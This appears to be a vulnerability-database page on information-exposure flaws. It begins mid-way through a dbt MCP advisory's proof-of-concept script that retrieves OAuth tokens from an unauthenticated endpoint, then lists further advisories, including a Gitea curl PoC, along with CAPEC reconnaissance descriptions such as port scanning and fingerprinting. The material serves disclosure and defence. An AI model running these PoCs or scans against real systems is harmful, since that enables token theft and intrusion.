{FAKE_ACCESS_TOKEN}\")\n print(f\" refresh_token : {FAKE_REFRESH_TOKEN}\")\n\n # 2. Minimal static dir so NoCacheStaticFiles mount doesn\u0027t error on startup\n static_dir = tempfile.mkdtemp(prefix=\"dbt_poc_static_\")\n (Path(static_dir) / \"index.html\").write_(\"\u003chtml\u003edbt OAuth\u003c/html\u003e\")\n\n # 3. Start the real vulnerable FastAPI server in a background thread\n t = threading.Thread(\n target=start_server, args=(context_file, static_dir), daemon=True\n )\n t.start()\n\n print(f\"\\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...\")\n if not wait_for_server(PORT):\n print(\"[-] FAIL: Server did not start within timeout.\")\n return 2\n\n print(\"[*] Server is up.\")\n\n # 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)\n url = f\"http://127.0.0.1:{PORT}/dbt_platform_con\"\n print(f\"\\n[*] Sending unauthenticated GET {url}\")\n try:\n resp = httpx.get(url, timeout=10)\n except Exception as exc:\n print(f\"[-] HTTP request failed: {exc}\")\n return 2\n\n print(f\"[*] HTTP Status: {resp.status_code}\")\n\n if resp.status_code != 200:\n print(f\"[-] FAIL: Expected 200, got {resp.status_code}\")\n print(f\" Body: {resp.[:500]}\")\n return 1\n\n try:\n data = resp.json()\n except Exception as exc:\n print(f\"[-] FAIL: Response is not JSON: {exc}\\n Body: {resp.[:500]}\")\n return 1\n\n print(f\"\\n[*] Full response JSON:\\n{json.dumps(data, indent=2)}\")\n\n # 5. Verify that the tokens are in the response (no redaction, no auth required)\n try:\n leaked_access = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"access_token\"]\n )\n leaked_refresh = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"refresh_token\"]\n )\n except (KeyError, TypeError) as exc:\n print(f\"\\n[-] FAIL: Token fields missing from response: {exc}\")\n return 1\n\n print(f\"\\n[!] LEAKED access_token : {leaked_access}\")\n print(f\"[!] LEAKED refresh_token : {leaked_refresh}\")\n\n if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:\n print(\n \"\\n[+] VULNERABILITY CONFIRMED:\"\n \" Tokens returned from /dbt_platform_con WITHOUT authentication!\"\n )\n return 0\n else:\n print(\"\\n[-] FAIL: Returned tokens do not match expected values.\")\n print(f\" Expected access_token : {FAKE_ACCESS_TOKEN}\")\n print(f\" Got access_token : {leaked_access}\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-jr33-mw75-7j8f",
"modified": "2026-06-19T21:15:40Z",
"published": "2026-06-19T21:15:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dbt-labs/dbt-mcp/security/advisories/GHSA-jr33-mw75-7j8f"
},
{
"type": "PACKAGE",
"url": "https://github.com/dbt-labs/dbt-mcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "dbt MCP Server: Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens"
}
GHSA-JR39-9JWJ-H64G
Vulnerability from github – Published: 2022-05-17 04:09 – Updated: 2022-05-17 04:09HP Systems Insight Manager (SIM) before 7.5.0, as used in HP Matrix Operating Environment before 7.5.0 and other products, allows remote authenticated users to obtain sensitive information via unspecified vectors, a different vulnerability than CVE-2015-5403.
{
"affected": [],
"aliases": [
"CVE-2015-2139"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-08-27T02:59:00Z",
"severity": "MODERATE"
},
"details": "HP Systems Insight Manager (SIM) before 7.5.0, as used in HP Matrix Operating Environment before 7.5.0 and other products, allows remote authenticated users to obtain sensitive information via unspecified vectors, a different vulnerability than CVE-2015-5403.",
"id": "GHSA-jr39-9jwj-h64g",
"modified": "2022-05-17T04:09:21Z",
"published": "2022-05-17T04:09:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2139"
},
{
"type": "WEB",
"url": "https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04762744"
},
{
"type": "WEB",
"url": "https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04774019"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JR5X-6H83-WRXF
Vulnerability from github – Published: 2026-07-21 20:40 – Updated: 2026-07-21 20:40Summary
The endpoint "/orgs/{org}/public_members/{username}" + GET exposes organization membership of public members in a private organization.
PoC
- Spin up the nightly container of Gitea.
- Perform the default installation.
- Register a new user (let's call this user "user1").
- Create a new organization with "private" visibility. We will refer to this organization as "user1org".
- Make the user "user1" inside the organization visible.
- Log out and register a new user ("user2").
- Create an access token for "user2" with full access to the API.
- Use the endpoint "/orgs/{org}/public_members/{username}" + GET with the correct username of "user1", organization name, and access token of "user2" to query whether "user1" is a member of the organization. The following curl command demonstrates the usage:
curl -X 'GET' \ 'http://localhost:4700/api/v1/orgs/user1org/public_members/user1' \ -H 'accept: application/json' \ -H 'authorization: token '
- You will receive status code 204, which leaks the organization membership.
Impact
The vulnerability discloses organization membership. An information that is not accessible via the web app (the organization is hidden, and therefore, the organization membership on the user's profile page is also hidden).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gitea.dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58417"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:40:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe endpoint \"/orgs/{org}/public_members/{username}\" + GET exposes organization membership of public members in a private organization.\n\n### PoC\n\n1. Spin up the nightly container of Gitea.\n2. Perform the default installation.\n3. Register a new user (let\u0027s call this user \"user1\").\n4. Create a new organization with \"private\" visibility. We will refer to this organization as \"user1org\".\n5. Make the user \"user1\" inside the organization visible.\n6. Log out and register a new user (\"user2\").\n7. Create an access token for \"user2\" with full access to the API.\n8. Use the endpoint \"/orgs/{org}/public_members/{username}\" + GET with the correct username of \"user1\", organization name, and access token of \"user2\" to query whether \"user1\" is a member of the organization. The following curl command demonstrates the usage:\n\ncurl -X \u0027GET\u0027 \\\n \u0027http://localhost:4700/api/v1/orgs/user1org/public_members/user1\u0027 \\\n -H \u0027accept: application/json\u0027 \\\n -H \u0027authorization: token \u003cuser2-token\u003e\u0027\n\n9. You will receive status code 204, which leaks the organization membership.\n\n### Impact\n\nThe vulnerability discloses organization membership. An information that is not accessible via the web app (the organization is hidden, and therefore, the organization membership on the user\u0027s profile page is also hidden).",
"id": "GHSA-jr5x-6h83-wrxf",
"modified": "2026-07-21T20:40:55Z",
"published": "2026-07-21T20:40:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-jr5x-6h83-wrxf"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38145"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/685b62c60fc595e3612a85f0895471876db56292"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: REST API exposes organization membership of private organizations to public"
}
GHSA-JR6F-XRR7-385F
Vulnerability from github – Published: 2022-05-17 03:36 – Updated: 2022-05-17 03:36Apple Type Services (ATS) in Apple OS X before 10.11.5 allows attackers to obtain sensitive kernel memory-layout information or cause a denial of service (out-of-bounds memory access) via a crafted app.
{
"affected": [],
"aliases": [
"CVE-2016-1796"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-05-20T10:59:00Z",
"severity": "MODERATE"
},
"details": "Apple Type Services (ATS) in Apple OS X before 10.11.5 allows attackers to obtain sensitive kernel memory-layout information or cause a denial of service (out-of-bounds memory access) via a crafted app.",
"id": "GHSA-jr6f-xrr7-385f",
"modified": "2022-05-17T03:36:00Z",
"published": "2022-05-17T03:36:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1796"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT206567"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2016/May/msg00004.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/90696"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1035895"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-16-361"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JR83-8X65-XCR5
Vulnerability from github – Published: 2023-11-09 21:30 – Updated: 2023-11-17 22:30Separate Groups mode restrictions were not honoured in the forum summary report, which would display users from other groups.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.0-beta"
},
{
"fixed": "4.3.0-rc2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0"
},
{
"fixed": "4.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0"
},
{
"fixed": "3.11.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-5551"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-10T00:42:49Z",
"nvd_published_at": "2023-11-09T20:15:11Z",
"severity": "LOW"
},
"details": "Separate Groups mode restrictions were not honoured in the forum summary report, which would display users from other groups.",
"id": "GHSA-jr83-8x65-xcr5",
"modified": "2023-11-17T22:30:17Z",
"published": "2023-11-09T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5551"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/2bb6c551cf2e7be29857db35388911b8179394b0"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/6de45d2c9f7dd7b24210ab0310c296366a82986a"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/b91feb0b2328cdda2561d68b8dfe2a129190bc85"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2243453"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=451592"
},
{
"type": "WEB",
"url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-79310"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Moodle Exposure of Sensitive Information to an Unauthorized Actor vulnerability"
}
GHSA-JR83-VR4J-MP6P
Vulnerability from github – Published: 2022-05-14 00:57 – Updated: 2023-11-22 21:57web2py before 2.14.2 allows remote attackers to obtain the session_cookie_key value via a direct request to examples/simple_examples/status. NOTE: this issue can be leveraged by remote attackers to execute arbitrary code using CVE-2016-3957.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "web2py"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-3954"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-28T20:59:59Z",
"nvd_published_at": "2018-02-06T18:29:00Z",
"severity": "MODERATE"
},
"details": "web2py before 2.14.2 allows remote attackers to obtain the session_cookie_key value via a direct request to examples/simple_examples/status. NOTE: this issue can be leveraged by remote attackers to execute arbitrary code using CVE-2016-3957.",
"id": "GHSA-jr83-vr4j-mp6p",
"modified": "2023-11-22T21:57:03Z",
"published": "2022-05-14T00:57:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3954"
},
{
"type": "WEB",
"url": "https://github.com/web2py/web2py/commit/0820926b500a321060ef6a76ce89fd35a252f8b0"
},
{
"type": "WEB",
"url": "https://devco.re/blog/2017/01/03/web2py-unserialize-code-execution-CVE-2016-3957"
},
{
"type": "PACKAGE",
"url": "https://github.com/web2py/web2py"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4030-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "web2py exposure of sensitive information"
}
GHSA-JR8Q-JW7M-4M3M
Vulnerability from github – Published: 2022-05-13 01:03 – Updated: 2022-05-13 01:03An out of bounds read was discovered in systemd-journald in the way it parses log messages that terminate with a colon ':'. A local attacker can use this flaw to disclose process memory data. Versions from v221 to v239 are vulnerable.
{
"affected": [],
"aliases": [
"CVE-2018-16866"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-11T19:29:00Z",
"severity": "LOW"
},
"details": "An out of bounds read was discovered in systemd-journald in the way it parses log messages that terminate with a colon \u0027:\u0027. A local attacker can use this flaw to disclose process memory data. Versions from v221 to v239 are vulnerable.",
"id": "GHSA-jr8q-jw7m-4m3m",
"modified": "2022-05-13T01:03:33Z",
"published": "2022-05-13T01:03:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16866"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2020:0547"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2091"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3222"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0593"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:1264"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2018-16866"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1653867"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16866"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/May/25"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201903-07"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190117-0001"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3855-1"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4367"
},
{
"type": "WEB",
"url": "https://www.qualys.com/2019/01/09/system-down/system-down.txt"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/152841/System-Down-A-systemd-journald-Exploit.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2019/May/21"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/05/10/4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106527"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JR97-5XG5-JXP8
Vulnerability from github – Published: 2022-05-14 02:23 – Updated: 2022-05-14 02:23Microsoft Internet Explorer 9 through 11 and Edge allow remote attackers to obtain sensitive information via a crafted web page, aka "Microsoft Browser Information Disclosure Vulnerability," a different vulnerability than CVE-2016-3326.
{
"affected": [],
"aliases": [
"CVE-2016-3327"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-08-09T21:59:00Z",
"severity": "MODERATE"
},
"details": "Microsoft Internet Explorer 9 through 11 and Edge allow remote attackers to obtain sensitive information via a crafted web page, aka \"Microsoft Browser Information Disclosure Vulnerability,\" a different vulnerability than CVE-2016-3326.",
"id": "GHSA-jr97-5xg5-jxp8",
"modified": "2022-05-14T02:23:34Z",
"published": "2022-05-14T02:23:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3327"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-095"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-096"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/92284"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1036562"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-116: Excavation
An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-169: Footprinting
An adversary engages in probing and exploration activities to identify constituents and properties of the target.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-224: Fingerprinting
An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.
CAPEC-285: ICMP Echo Request Ping
An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in order to determine if a target system is responsive. If the request is not blocked by a firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in almost all operating systems. Ping, as commonly implemented, allows a user to test for alive hosts, measure round-trip time, and measure the percentage of packet loss.
CAPEC-287: TCP SYN Scan
An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed.
CAPEC-290: Enumerate Mail Exchange (MX) Records
An adversary enumerates the MX records for a given via a DNS query. This type of information gathering returns the names of mail servers on the network. Mail servers are often not exposed to the Internet but are located within the DMZ of a network protected by a firewall. A side effect of this configuration is that enumerating the MX records for an organization my reveal the IP address of the firewall or possibly other internal systems. Attackers often resort to MX record enumeration when a DNS Zone Transfer is not possible.
CAPEC-291: DNS Zone Transfers
An attacker exploits a DNS misconfiguration that permits a ZONE transfer. Some external DNS servers will return a list of IP address and valid hostnames. Under certain conditions, it may even be possible to obtain Zone data about the organization's internal network. When successful the attacker learns valuable information about the topology of the target organization, including information about particular servers, their role within the IT structure, and possibly information about the operating systems running upon the network. This is configuration dependent behavior so it may also be required to search out multiple DNS servers while attempting to find one with ZONE transfers allowed.
CAPEC-292: Host Discovery
An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses.
CAPEC-293: Traceroute Route Enumeration
An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed.
CAPEC-294: ICMP Address Mask Request
An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address.
CAPEC-295: Timestamp Request
This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms.
CAPEC-296: ICMP Information Request
An adversary sends an ICMP Information Request to a host to determine if it will respond to this deprecated mechanism. ICMP Information Requests are a deprecated message type. Information Requests were originally used for diskless machines to automatically obtain their network configuration, but this message type has been superseded by more robust protocol implementations like DHCP.
CAPEC-297: TCP ACK Ping
An adversary sends a TCP segment with the ACK flag set to a remote host for the purpose of determining if the host is alive. This is one of several TCP 'ping' types. The RFC 793 expected behavior for a service is to respond with a RST 'reset' packet to any unsolicited ACK segment that is not part of an existing connection. So by sending an ACK segment to a port, the adversary can identify that the host is alive by looking for a RST packet. Typically, a remote server will respond with a RST regardless of whether a port is open or closed. In this way, TCP ACK pings cannot discover the state of a remote port because the behavior is the same in either case. The firewall will look up the ACK packet in its state-table and discard the segment because it does not correspond to any active connection. A TCP ACK Ping can be used to discover if a host is alive via RST response packets sent from the host.
CAPEC-298: UDP Ping
An adversary sends a UDP datagram to the remote host to determine if the host is alive. If a UDP datagram is sent to an open UDP port there is very often no response, so a typical strategy for using a UDP ping is to send the datagram to a random high port on the target. The goal is to solicit an 'ICMP port unreachable' message from the target, indicating that the host is alive. UDP pings are useful because some firewalls are not configured to block UDP datagrams sent to strange or typically unused ports, like ports in the 65K range. Additionally, while some firewalls may filter incoming ICMP, weaknesses in firewall rule-sets may allow certain types of ICMP (host unreachable, port unreachable) which are useful for UDP ping attempts.
CAPEC-299: TCP SYN Ping
An adversary uses TCP SYN packets as a means towards host discovery. Typical RFC 793 behavior specifies that when a TCP port is open, a host must respond to an incoming SYN "synchronize" packet by completing stage two of the 'three-way handshake' - by sending an SYN/ACK in response. When a port is closed, RFC 793 behavior is to respond with a RST "reset" packet. This behavior can be used to 'ping' a target to see if it is alive by sending a TCP SYN packet to a port and then looking for a RST or an ACK packet in response.
CAPEC-300: Port Scanning
An adversary uses a combination of techniques to determine the state of the ports on a remote target. Any service or application available for TCP or UDP networking will have a port open for communications over the network.
CAPEC-301: TCP Connect Scan
An adversary uses full TCP connection attempts to determine if a port is open on the target system. The scanning process involves completing a 'three-way handshake' with a remote port, and reports the port as closed if the full handshake cannot be established. An advantage of TCP connect scanning is that it works against any TCP/IP stack.
CAPEC-302: TCP FIN Scan
An adversary uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow the adversary to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-303: TCP Xmas Scan
An adversary uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with all possible flags set in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-304: TCP Null Scan
An adversary uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-305: TCP ACK Scan
An adversary uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. This type of scanning is rarely useful alone, but when combined with SYN scanning, gives a more complete picture of the type of firewall rules that are present.
CAPEC-306: TCP Window Scan
An adversary engages in TCP Window scanning to analyze port status and operating system type. TCP Window scanning uses the ACK scanning method but examine the TCP Window Size field of response RST packets to make certain inferences. While TCP Window Scans are fast and relatively stealthy, they work against fewer TCP stack implementations than any other type of scan. Some operating systems return a positive TCP window size when a RST packet is sent from an open port, and a negative value when the RST originates from a closed port. TCP Window scanning is one of the most complex scan types, and its results are difficult to interpret. Window scanning alone rarely yields useful information, but when combined with other types of scanning is more useful. It is a generally more reliable means of making inference about operating system versions than port status.
CAPEC-307: TCP RPC Scan
An adversary scans for RPC services listing on a Unix/Linux host.
CAPEC-308: UDP Scan
An adversary engages in UDP scanning to gather information about UDP port status on the target system. UDP scanning methods involve sending a UDP datagram to the target port and looking for evidence that the port is closed. Open UDP ports usually do not respond to UDP datagrams as there is no stateful mechanism within the protocol that requires building or establishing a session. Responses to UDP datagrams are therefore application specific and cannot be relied upon as a method of detecting an open port. UDP scanning relies heavily upon ICMP diagnostic messages in order to determine the status of a remote port.
CAPEC-309: Network Topology Mapping
An adversary engages in scanning activities to map network nodes, hosts, devices, and routes. Adversaries usually perform this type of network reconnaissance during the early stages of attack against an external network. Many types of scanning utilities are typically employed, including ICMP tools, network mappers, port scanners, and route testing utilities such as traceroute.
CAPEC-310: Scanning for Vulnerable Software
An attacker engages in scanning activity to find vulnerable software versions or types, such as operating system versions or network services. Vulnerable or exploitable network configurations, such as improperly firewalled systems, or misconfigured systems in the DMZ or external network, provide windows of opportunity for an attacker. Common types of vulnerable software include unpatched operating systems or services (e.g FTP, Telnet, SMTP, SNMP) running on open ports that the attacker has identified. Attackers usually begin probing for vulnerable software once the external network has been port scanned and potential targets have been revealed.
CAPEC-312: Active OS Fingerprinting
An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions.
CAPEC-313: Passive OS Fingerprinting
An adversary engages in activity to detect the version or type of OS software in a an environment by passively monitoring communication between devices, nodes, or applications. Passive techniques for operating system detection send no actual probes to a target, but monitor network or client-server communication between nodes in order to identify operating systems based on observed behavior as compared to a database of known signatures or values. While passive OS fingerprinting is not usually as reliable as active methods, it is generally better able to evade detection.
CAPEC-317: IP ID Sequencing Probe
This OS fingerprinting probe analyzes the IP 'ID' field sequence number generation algorithm of a remote host. Operating systems generate IP 'ID' numbers differently, allowing an attacker to identify the operating system of the host by examining how is assigns ID numbers when generating response packets. RFC 791 does not specify how ID numbers are chosen or their ranges, so ID sequence generation differs from implementation to implementation. There are two kinds of IP 'ID' sequence number analysis - IP 'ID' Sequencing: analyzing the IP 'ID' sequence generation algorithm for one protocol used by a host and Shared IP 'ID' Sequencing: analyzing the packet ordering via IP 'ID' values spanning multiple protocols, such as between ICMP and TCP.
CAPEC-318: IP 'ID' Echoed Byte-Order Probe
